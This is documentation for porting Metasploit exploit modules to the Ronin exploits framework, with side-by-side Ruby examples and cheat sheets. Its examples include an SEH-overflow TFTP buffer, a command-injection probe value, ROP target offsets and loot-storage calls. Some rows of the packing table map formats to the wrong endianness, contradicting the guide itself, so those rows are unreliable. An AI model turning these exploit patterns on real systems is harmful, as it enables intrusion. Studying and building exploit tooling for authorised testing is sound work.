Porting Metasploit Exploits to Ronin Exploits

This guide explains how to convert a Metasploit exploit into a Ronin exploit.

Table of Contents

Class Definition

Metasploit

Every Metasploit exploit class is named MetasploitModule and inherits from either Msf::Exploit::Remote, Msf::Exploit::Local, or Msf::Exploit.

class MetasploitModule < Msf::Exploit::Remote

  # ...

end

Ronin

Ronin exploits classes must be:

  1. Require any classes or modules used.
  2. Defined in the Ronin::Exploits namespace.
  3. Have a unique CamelCase name similar to the file name.
  4. Inherit from Ronin::Exploits::Exploit or one of it’s sub-classes.
  5. Call register with the same name as it’s file name.
# exploits/my_exploit.rb
require 'ronin/exploits/exploit'

module Ronin
  module Exploits
    class MyExploit < Exploit

      register 'my_exploit'

      # ...

    end
  end
end
Note:

The ronin-exploits new command can generate a skeleton exploit file, complete with included modules and metadata, which can save some typing.

Included Modules

Both Metasploit exploits and Ronin exploit classes will include modules to add additional functionality.

Metasploit

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  # ...

end

Ronin

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/remote_tcp'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::RemoteTCP

      # ...

    end
  end
end
Note:

The ronin-exploits new command can generate a skeleton exploit file, complete with included modules and metadata, which can save some typing.

Cheat Sheet

Metasploit Ronin
Msf::Exploit::Remote::Tcp Mixins::RemoteTCP
Msf::Exploit::Remote::Udp Mixins::RemoteUDP
Msf::Exploit::Remote::HttpClient Mixins::HTTP
Msf::Exploit::Seh Mixins::SEH
Msf::Exploit::FormatString Mixins::FormatString

Metadata

Metasploit

Metasploit exploits define their metadata in the initialize method by passing a large Hash of Strings:

class MetasploitModule < Msf::Exploit::Remote

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
      'Description'    => %q{
          This module abuses a metacharacter injection vulnerability in the
        HTTP management server of wireless gateways running DD-WRT. This flaw
        allows an unauthenticated attacker to execute arbitrary commands as
        the root user account.
      },
      'Author'         => [ 'gat3way', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-2765' ],
          [ 'OSVDB', '55990' ],
          [ 'BID', '35742' ],
          [ 'EDB', '9209' ]
        ],
      # ...
      'DisclosureDate' => '2009-07-20'
      ))
  end

end

Ronin

Ronin exploits and payloads define their metadata in the class body by calling class methods:

require 'ronin/exploits/exploit'

module Ronin
  module Exploits
    class MyExploit < Exploit

      register 'my_exploit'

      summary 'A single sentence summary of the exploit'
      description <<~EOS
        A longer multi-line or multi-paragraph description of the exploit.
        Bla bla bla bla.
      EOS

      author 'Author1'
      author 'Author2', website:  'https://example.com',
                        email:    'author1@example2.com',
                        github:   'author2',
                        mastodon: 'https://example.com/@author2',
                        twitter:  '@author2',
                        discord:  '...'

      disclosure_date 'YYY-MM-DD'
      release_date 'YYYY-MM-DD'

      advisory 'CVE-YYYY-NNNN'
      advisory 'GHSA-XXXXXX'

      software 'TestHTTP'
      software_versions '1.0.0'..'1.5.4'

      references [
        'https://example.com/url1',
        'https://example.com/url2',
        # ...
      ]

      # ...

    end
  end
end

Additional metadata modules can be included to define additional metadata, such as Metadata::Arch or Metadata::OS. If the exploit class inherits from the MemoryCorruption class, or one of it’s sub-class, then those modules are already included by default.

require 'ronin/exploits/stack_overflow'

module Ronin
  module Exploits
    class MyExploit < StackOverflow

      # ...

      arch :arm
      os :linux

      # ...

    end
  end
end

See the arch, os, and os_version method documentation for further details.

Note:

The ronin-exploits new command can generate a skeleton exploit file, complete with included modules and metadata, which can save some typing.

Cheat Sheet

Metasploit Ronin
Name' => '...',
summary '...'
'Description'    => %q{
   ...
},
description <<~DESC
  ...
DESC
'License'        => MSF_LICENSE,
N/A
'Author'         => [
  'John Doe', # discoverer
  ...
],
author 'John Doe'
...
'References'     =>
  [
    [ 'CVE', 'YYYY-NNNN' ],
    [ 'GHSA', 'XXXXXX' ],
    [ 'URL', 'https://example.com/...' ],
  ],
advisory 'CVE-YYYY-NNNN'
advisory 'GHSA-XXXXXX'

references [
  'https://example.com/...',
  # ...
]
'Platform'       => 'Linux',
include Metadata::OS
# ...

os :linux

Targets

Metasploit

Metasploit exploits define additional platform targeting information as an Array of Arrays in the metadata section.

class MetasploitModule < Msf::Exploit::Remote

  # ...

  def initialize(info = {})
    super(update_info(info,
      # ...
      'Targets'        =>
        [
          # npFoxitReaderPlugin.dll version 2.2.1.530
          [ 'Automatic', {} ],
          [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
            {
              'Offset'          => 272,
              'Ret'             => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
              'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin
              :rop => :win7_rop_chain
            }
          ]
        ],
      'DefaultTarget'  => 0,
      # ...
    ))

    # ...
  end

end

Ronin

Ronin exploits may define additional platform targeting by including the Mixins::HasTargets module. The Mixins::HasTargets module adds a target class method for defining platform/software specific target information.

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/has_targets'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::HasTargets

      # ...

      target os: :windows, os_version: '7 SP1', software: 'Foxit Reader', software_version: '5.4.4.11281' do |target|
        target.offset           = 272
        target.ret              = 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
        target.writable_address = 0x10045c10, # from npFoxitReaderPlugin
        target.rop              = :win7_rop_chain
      end

      # ...

    end
  end
end
Note:

Mixins::HasTargets does not support the concept of a default target. If an exploit defines targets, a target must be selected.

Options vs. Params

Metasploit

Metasploit exploits defines options using the register_options within the initialize method. The register_options method accepts an Array of one or more options. The options are initialized using OptString, OptBool, etc, option classes. The first argument is the option name in all uppercase. The second argument is the option description. The first argument is the optional default value for the option.

class MetasploitModule < Msf::Exploit::Remote

  def initialize(info = {})
    # ...

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf' ])
    ])
  end

end

Ronin

Ronin exploits defines options using the param method which can be called multiple times. The first argument is the param name, in lowercase or snake_case. The second argument is the param type class. Additional keyword arguments may define whether the param is required, it’s default value, and it’s description.

require 'ronin/exploits/exploit'

module Ronin
  module Exploits
    class MyExploit < Exploit

      # ...

      param :filename, String, required: true,
                               default:  'msf.pdf',
                               desc:     'The file name'

      # ...

    end
  end
end

Cheat Sheet

Metasploit Ronin
OptString.new('FOO', ...) param :foo, String, ...
OptInt.new('FOO', ...) param :foo, Integer, ...
OptBool.new('FOO', ...) param :foo, Boolean, ...
OptEnum.new('FOO', [true, '...', ['value1', 'value2', ...]) param :foo, Enum[:value1, :value2, ...]
Opt::RHOST() include Params::Host
Opt::RPORT() include Params::Port
Opt::RPORT(443) include Params::Port and default_port 443
Opt::LHOST() include Params::BindHost
???? include Params::BindPort
OptString.new('TARGETURI', ...) include Params::BaseURL
OptString.new('FILENAME', [true, '...', 'foo.pdf']) include Params::Filename and default_filename 'foo.pdf'

check vs. test methods

Metasploit

A Metasploit exploit may define a check method which tests whether the remote host is vulnerable to the exploit. These check methods will return a Exploit::CheckCode::Safe, Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Detected, Exploit::CheckCode::Appears, or Exploit::CheckCode::Unknown value to indicate the status of the remote host.

class MetasploitModule < Msf::Exploit::Remote

  # ...

  def check
    uri = '/tws/getStatus'

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => uri,
      'vars_post' => {
        'transaction_id' => rand(0x100000000),
        'oauth_token'    => 'invalid'
    }})

    unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
      return Exploit::CheckCode::Safe
    end

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => uri,
      'vars_post' => {
        'transaction_id' => rand(0x100000000),
        'oauth_token'    => "';echo '"
    }})

    unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
      return Exploit::CheckCode::Safe
    end

    Msf::Exploit::CheckCode::Vulnerable
  end

  # ...

end

Ronin

A Ronin exploit may define a test method which tests whether the remote host is indeed vulnerable to the exploit. Unlike Metasploit’s check method, the test method may only return Vulnerable(‘message here’), NotVulnerable(‘message here’), or Unknown(‘message here’).

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/http'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::HTTP

      # ...

      def test
        case http.get_body('/')
        when /Powered by Foo 4\.19\./
          Vulnerable('host is vulnerable')
        when /Powered by Foo 4\.2[0-9]\./
          NotVulnerable('host is patched')
        else
          Unknown('cannot determine whether the host is vulnerable or not')
        end
      end

      # ...

    end
  end
end

Cheat Sheet

Metasplioit Ronin
Exploit::CheckCode::Safe NotVulnerable("host is not vulnerable")
Exploit::CheckCode::Vulnerable Vulnerable("host is vulnerable")
Exploit::CheckCode::Detected Unknown("the service is running but could not be validated")
Exploit::CheckCode::Appears Unknown("the host appears to be vulnerable")
Exploit::CheckCode::Unknown Unknown("...")

exploit vs. validate/build/launch/cleanup methods

Metasploit

Metasploit exploits define the exploit’s logic in one giant exploit method:

class MetasploitModule < Msf::Exploit::Remote

  def exploit
    connect_udp

    nops = make_nops(50)
    lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)
    near = "\xe9\x80\xfd\xff\xff"    #jump back 640 bytes to the nop sled
    nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump

    evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')
    mode = "netascii"

    #Send the WRQ packet (header "\x00\x02")
    sploit = "\x00\x02" + evil + "\0" + mode +"\0"

    udp_sock.put(sploit)

    handler
    disconnect_udp
  end

end

Ronin

While the Ronin::Exploits::Exploit class do provide an exploit method as an entry-point method for running the exploit, Ronin exploits define their exploit logic in four main methods:

  1. validate - Perform any additional validations before building the exploit.
  2. build - Builds any exploit buffers, files, or other data that will be used.
  3. launch - Sends the exploit to the host or service.
  4. cleanup - Perform any extra cleanup tasks after the user is done using the exploit.
require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/has_targets'
require 'ronin/exploits/mixins/has_payload'
require 'ronin/exploits/mixins/text'
require 'ronin/exploits/mixins/nops'
require 'ronin/exploits/mixins/remote_udp'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::HasTargets
      include Mixins::HasPayload
      include Mixins::Text
      include Mixins::NOPS
      include Mixins::RemoteUDP

      def build
        nopsled = nops(50)

        lead = random_alpha_numeric(target.offset - payload.length - nopsled.length)
        near = "\xe9\x80\xfd\xff\xff" # jump back 640 bytes to the nop sled
        nseh = "\xeb\xf9" + nops(2)   # jump back 7 bytes to the long jump

        evil = lead + nopsled + payload + near + nseh + target.ret.pack(:uint32_le)

        # send the WRQ packet (header "\x00\x02")
        mode    = "netascii"
        @buffer = "\x00\x02" + evil + "\0" + mode +"\0"
      end

      def launch
        # connect to the remote service, send the data, return the open socket
        @socket = udp_connect_and_send(@buffer)
      end

      def cleanup
        # close the open socket
        @socket.close
      end

    end
  end
end

cleanup method

Both Metasploit and Ronin define a cleanup method for additional logic to cleanup after the exploit.

Printing

Metasploit

Metasploit provides a set of methods for printing status messages from an exploit:

    print_status "Running the Javascript shell..."
    # ...

    print_warning("Unable to retrieve token")
    # ...

    print_error('Connection failed.')
    # ...

Ronin

Ronin also provides a similar set of methods for printing status messages from an exploit:

    print_status "Sending request to /path ..."
    response = http_get('/path')

    if response.code == '200'
      if response.body.include?('Success')
        print_success "response indicates success! Proceeding ..."
      else
        print_failure "request failed! Trying again ..."
        print_debug response.body
      end
    else
      print_error "Did not receive a 200 response: #{response.code}"
    end

Cheat Sheet

Metasploit Ronin
print_status("Message here")
vprint_status("Message here")
print_info "Message here" /
print_status "Message here"
print_good("Message here")
vprint_good("Message here")
print_good "Message here" /
print_success "Message here" /
print_positive "Message here"
print_bad("Message here")
vprint_bad("Message here")
print_bad "Message here" /
print_failure "Message here" /
print_negative "Message here"
print_warning("Message here")
vprint_warning("Message here")
print_warning "Message here"
print_error("Message here")
print_bad("Message here")
vprint_error("Message here")
vprint_bad("Message here")
print_error "Message here"

Random Text

Metasploit

Metasploit exploits provide a series of methods for generating random text, such as rand_text_alpha or rand_text_alphanumeric.

class MetasploitModule < Msf::Exploit::Remote

  def check
    token = rand_text_alphanumeric(8..42)

    # ...
  end

end

Ronin

Ronin exploits may include the Mixins::Text module, which adds various methods such as random_alpha or random_alpha_numeric.

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/text'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::Text

      def test
        token = random_alpha_numeric(8..42)

        # ...
      end

    end
  end
end

Cheat Sheet

Metasploit Ronin
rand_text_alpha random_alpha
rand_text_alphanumeric random_alpha_numeric
rand_text_alpha_lower random_lowercase_alpha / random_lower_alpha
rand_text_alpha_upper random_uppercase_alpha / random_upper_alpha
rand_text_numeric random_numeric / random_digits
rand_text_hex random_hex
rand_text_highascii random_signed_ascii
rand_char random_ascii (without no arguments)

Packing

Metasploit

Metasploit exploits use Ruby’s built-in Array#pack method, which packs the contents of an Array using a binary format String:

    pop_r3_ret = [0x00013cd0].pack('V')

Ronin

Ronin adds a it’s own pack method to Array, Integer, and Float which can also accept a binary type Symbol name instead of a pack String:

    pop_r3_ret = 0x00013cd0.pack(:uint32_le)

If the Ronin exploit includes Mixins::Binary, then a pack method will be added, which packs a single value based on the exploit’s defined arch and os.

require 'ronin/exploits/exploit'
require 'ronin/exploits/metadata/arch'
require 'ronin/exploits/metadata/os'
require 'ronin/exploits/mixins/binary'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Metadata::Arch
      include Metadata::OS
      include Mixins::Binary

      arch :x86_64
      os :linux

      def build
        # ...

        buf << pack(:uint32, 0x12345678)

        # ...
      end

    end
  end
end

The pack method can also be used with the Mixins::HasTargets module and will use the arch and os of the selected target:

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/binary'
require 'ronin/exploits/mixins/has_targets'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::Binary
      include Mixins::HasTargets

      target arch: :x86_64, os: :linux do |target|
        target.ret = 0xffff1234
      end

      target arch: :arm_le, os: :linux do |target|
        target.ret = 0xffff1234
      end

      target arch: :arm_be, os: :linux do |target|
        target.ret = 0xffff1234
      end

      def build
        # ...

        buf << pack(:uint32, target.ret)

        # ...
      end

    end
  end
end

Cheat Sheet

Metasploit Ronin
[i].pack('C') i.pack(:uchar)
[i].pack('S') i.pack(:uint16)
[i].pack('L') i.pack(:uint32)
[i].pack('Q') i.pack(:uint64)
[i].pack('c') i.pack(:char)
[i].pack('s') i.pack(:int16)
[i].pack('l') i.pack(:int32)
[i].pack('q') i.pack(:int64)
[i].pack('S<') i.pack(:uint16_le)
[i].pack('L<') i.pack(:uint32_le)
[i].pack('Q<') i.pack(:uint64_le)
[i].pack('s<') i.pack(:int16_le)
[i].pack('l<') i.pack(:int32_le)
[i].pack('q<') i.pack(:int64_le)
[i].pack('S>') i.pack(:uint16_be)
[i].pack('L>') i.pack(:uint32_be)
[i].pack('Q>') i.pack(:uint64_be)
[i].pack('s>') i.pack(:int16_be)
[i].pack('l>') i.pack(:int32_be)
[i].pack('q>') i.pack(:int64_be)
[f].pack('F') / [f].pack('f') f.pack(:float) / f.pack(:float32)
[f].pack('D') / [f].pack('d') f.pack(:double) / f.pack(:float64)
[f].pack('e') f.pack(:float_le) / f.pack(:float32_le)
[f].pack('E') f.pack(:double_le) / f.pack(:float64_le)
[f].pack('g') f.pack(:float_be) / f.pack(:float32_be)
[f].pack('G') f.pack(:double_be) / f.pack(:float64_be)
[i].pack('n') i.pack(:uint16_le)
[i].pack('N') i.pack(:uint32_le)
[i].pack('v') i.pack(:uint16_be)
[i].pack('V') i.pack(:uint32_be)
[...].pack('VVV') [...].pack([:uint32_le, 3])
[...].pack('V*') [...].pack(:uint32_le..)
[...].pack('VS<C') [...].pack(:uint32_le, :uint16_le, :uchar)

Remote TCP

Metasploit

A Metasploit exploit can connect to a remote TCP service, specified by the RHOST and RPORT options. if it includes Msf::Exploit::Remote::Tcp`.

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def exploit
    begin
      connect
      packet = "..."

      sock.put(packet)

      disconnect
    rescue ::Exception => e
      fail_with(Failure::Unreachable, "Unable to connect")
    end
  end
end

Ronin

A Ronin exploit can also connect to a remote TCP service, specified by the host and port params, if it includes the Ronin::Exploits::Mixins::RemoteTCP module. The module also adds TCP helper methods for connecting, sending data, receiving data:

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/remote_tcp'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::RemoteTCP

      def build
        @buffer = "..."
      end

      def launch
        # connect to the remote TCP service, send the data, return the socket
        @socket = tcp_connect_and_send(@buffer)
      end

      def cleanup
        # close the connection
        @socket.close
      end

    end
  end
end

Cheat Sheet

Metasploit Ronin
include Msf::Exploit::Remote::Tcp include Mixins::RemoteTCP
rhost host
rport port
peer "#{host}:#{port}"
connect @socket = tcp_connect / @socket = tcp_connect_and_send(@buffer)
banner = sock.get_once tcp_banner / socket.gets
disconnect socket.close

Remote UDP

Metasploit

A Metasploit exploit can connect to a remote UDP service, specified by the RHOST and RPORT options. if it includes the Msf::Exploit::Remote::Udp` module.

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Udp

  def exploit
    connect_udp

    sploit = "..."

    udp_sock.put(sploit)

    handler
    disconnect_udp
  end
end

Ronin

A Ronin exploit can also connect to a remote UDP service, specified by the host and port params, if it includes the Ronin::Exploits::Mixins::RemoteUDP module. The module also adds UDP helper methods for connecting, sending data, and receiving data:

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/remote_udp'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::RemoteUDP

      # ...

      def build
        @buffer = "..."
      end

      def launch
        # connect to the remote UDP service, send the data, return the socket
        @socket = udp_connect_and_send(@buffer)
      end

      def cleanup
        # close the connection
        @socket.close
      end

    end
  end
end

Cheat Sheet

Metasploit Ronin
include Msf::Exploit::Remote::Udp include Mixins::RemoteUDP
rhost host
rport port
connect_udp @socket = udp_connect / @socket = udp_connect_and_send(@buffer)
banner = sock.get_once udp_banner / socket.gets
disconnect_udp socket.close

HTTP

Metasploit

A Metasploit exploits may send HTTP requests using the send_request_cgi method, if it includes the Msf::Exploits::Remote::HttpClient module.

    # perform a GET request
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    })

    # ...

    # perform a POST request
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'data'   => soap
    }, 1)

Ronin

Ronin exploits can also send HTTP requests to a remote web server, specified by the base_url param, if it includes the Mixins::HTTP module. The Mixins::HTTP module will add many http_ helper methods to the exploit:

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/http'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::HTTP

      param :path, String, required: true,
                           desc:     'The target path to exploit'

      def launch
        # perform a GET request
        response = http_get(params[:path])

        # perform a GET request with query params
        response = http_get(params[:path], query_params: {'foo' => 'bar'})

        # perform a POST request
        response = http_post(params[:path], body: data)

        # perform a POST request with form params
        response = http_post(params[:path], form_data: {'foo' => 'bar'})
      end

    end
  end
end

Cheat Sheet

Metasploit Ronin
send_request_cgi({'method' => 'DELETE', ...}) http_delete(...)
send_request_cgi({'method' => 'HEAD', ...}) http_head(...)
send_request_cgi({'method' => 'GET', ...}) http_get(...)
send_request_cgi({'method' => 'OPTIONS', ...}) http_options(...)
send_request_cgi({'method' => 'POST', ...}) http_post(...)
send_request_cgi({'method' => 'PUT', ...}) http_put(...)
'uri' => '/index.php' '/index.php'
'uri' => normalize_uri(target_uri.path), ...} path
'headers' => {...} headers: {...}
'authorization' => "..." authorization: "..."
'authorization' => basic_auth(user,pass) user: user, password: pass
'data' => ... body: ...
'cookie' => ... cookie: ...
'ctype' => ... content_type: ...
'vars_get' => {...} query_params: {...}
'vars_post' => {...} form_data: {...}

Loot

Metasploit

A Metasploit exploit can store captured files or other data from a compromised system using the store_loot method:

loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')

JSON, YAML, and CSV data can also be stored:

stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)

Ronin

Ronin exploits can store captured files or other data from a compromised system by including Mixins::Loot and calling the loot.add_file method:

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/loot'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::Loot

      def launch
        # ...

        loot.add_file('foo.txt', captured_data1)
        loot.add_file('dir/bar.txt', captured_data2)
      end

    end
  end
end

JSON, YAML, and CSV data can also be automatically serialized and stored:

loot.add('foo.json', captured_data, format: :json)

loot.add('foo.yaml', captured_data, format: :yaml)

loot.add('foo.csv',  captured_data, format: :csv)

Cheat Sheet

Metasploit Ronin
store_file('foo.bar', 'mime/type', rhost, data) loot.add('foo/bar.txt',data)

fail_with vs. fail methods

Metasploit

When a Metasploit exploit encounters a serious error and needs to abort, it can call the fail_with method which raises an exception:

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

Ronin

When Ronin exploits need to raise an exception and abort from the validate, build, launch, or cleanup methods, they can call the fail method which raises an ExploitFailed exception.

    unless response
      fail("could not connect to web service: #{base_url}")
    end

Cheat Sheet

Metasploit Ronin
fail_with(Failure::Foo,"message here") fail("message here")